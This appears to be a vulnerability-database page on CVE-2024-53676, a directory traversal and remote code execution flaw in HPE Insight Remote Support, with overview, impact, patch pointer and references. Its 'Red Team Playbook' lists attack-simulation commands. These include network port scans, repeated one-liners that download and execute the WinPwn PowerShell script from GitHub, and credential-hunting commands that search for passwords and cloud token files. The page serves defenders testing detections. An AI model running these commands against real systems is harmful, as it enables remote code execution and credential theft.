CVE-2024-53676
Overview
This vulnerability is a directory traversal flaw within Hewlett Packard Enterprise Insight Remote Support that arises from improper validation of user-supplied file path input. The affected component fails to sanitize or restrict directory references, enabling traversal beyond intended directories. This flaw exists in the file handling routines of the Insight Remote Support software, allowing unauthorized access to filesystem locations.
Vulnerability Description
A directory traversal vulnerability in Hewlett Packard Enterprise Insight Remote Support may allow remote code execution.
Impact
An unauthenticated remote attacker can exploit this vulnerability to traverse directories and execute arbitrary code on the underlying system, potentially gaining full control over the server hosting Insight Remote Support. The attack requires no user interaction and can be performed remotely over the network (AV:N/AC:L/PR:N/UI:N), resulting in complete confidentiality, integrity, and availability compromise (C:H/I:H/A:H). This enables attackers to access sensitive data, disrupt services, or pivot within the enterprise environment, severely impacting business operations.
Solution
Hewlett Packard Enterprise has released a security bulletin (hpesbgn04731en_us) providing patches that address this directory traversal vulnerability in Insight Remote Support. Users should upgrade to the fixed versions as specified in the advisory to remediate the issue. The bulletin includes detailed patch instructions and recommends immediate application to affected systems to mitigate exploitation risks.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The directory traversal vulnerability in Hewlett Packard Enterprise Insight Remote Support presents a significant risk due to its potential to allow remote code execution. This type of vulnerability occurs when an application improperly validates user input, enabling an attacker to manipulate file paths and access files and directories that are outside the intended scope of the application. In this case, the flaw lies in the handling of file paths, which can be exploited by crafting specific requests that traverse the directory structure. By leveraging this vulnerability, an attacker could gain unauthorized access to sensitive files or execute arbitrary code on the server, leading to a complete compromise of the affected system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a remote session with the Insight Remote Support application and send specially crafted requests that include directory traversal sequences, such as "../". This would allow the attacker to navigate the file system and potentially access critical configuration files or scripts. Once access is gained, the attacker could execute malicious payloads, leading to further exploitation of the network environment. Scenarios may include the installation of backdoors, data exfiltration, or lateral movement within the network to compromise additional systems. The ease of exploitation, combined with the high privileges often associated with remote support tools, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for organizations relying on Hewlett Packard Enterprise Insight Remote Support for critical infrastructure management. A successful exploitation could lead to unauthorized access to sensitive data, including customer information, proprietary software, and operational configurations. The potential for remote code execution means that attackers could deploy malware or ransomware, resulting in significant operational disruption and financial loss. Furthermore, the reputational damage from a data breach could have long-lasting effects, eroding customer trust and leading to regulatory scrutiny. Organizations must recognize the business risks associated with this vulnerability and prioritize its remediation.
Detection and mitigation strategies are crucial for organizations using the affected product. Regular vulnerability assessments and penetration testing should be conducted to identify potential weaknesses in the system. Implementing robust input validation and sanitization measures can help prevent directory traversal attacks by ensuring that user inputs are properly checked before being processed. Additionally, organizations should limit the permissions of the Insight Remote Support application to the minimum necessary, reducing the potential impact of an exploit. Keeping the software up to date with the latest security patches is essential, as vendors typically release updates to address known vulnerabilities. Furthermore, employing network segmentation and monitoring can help detect unusual activity that may indicate an attempted exploitation of this vulnerability.
In conclusion, the directory traversal vulnerability in Hewlett Packard Enterprise Insight Remote Support poses a significant threat to organizations that utilize this software. The potential for remote code execution, combined with the ease of exploitation, highlights the need for immediate attention to security practices surrounding this product. By implementing effective detection and mitigation strategies, organizations can reduce their risk and protect their critical assets from potential exploitation. As the cybersecurity landscape continues to evolve, proactive measures and a commitment to security best practices will be essential in safeguarding against such vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Hpe | Insight Remote Support | All |
cpe:2.3:a:hpe:insight_remote_support:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-53676 |
| support.hpe.com |
GitHub CVE
|
https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04731en_us |
| github.com |
NVD API
|
https://github.com/pwnfuzz/POCs/tree/main/CVE-2024-53676 |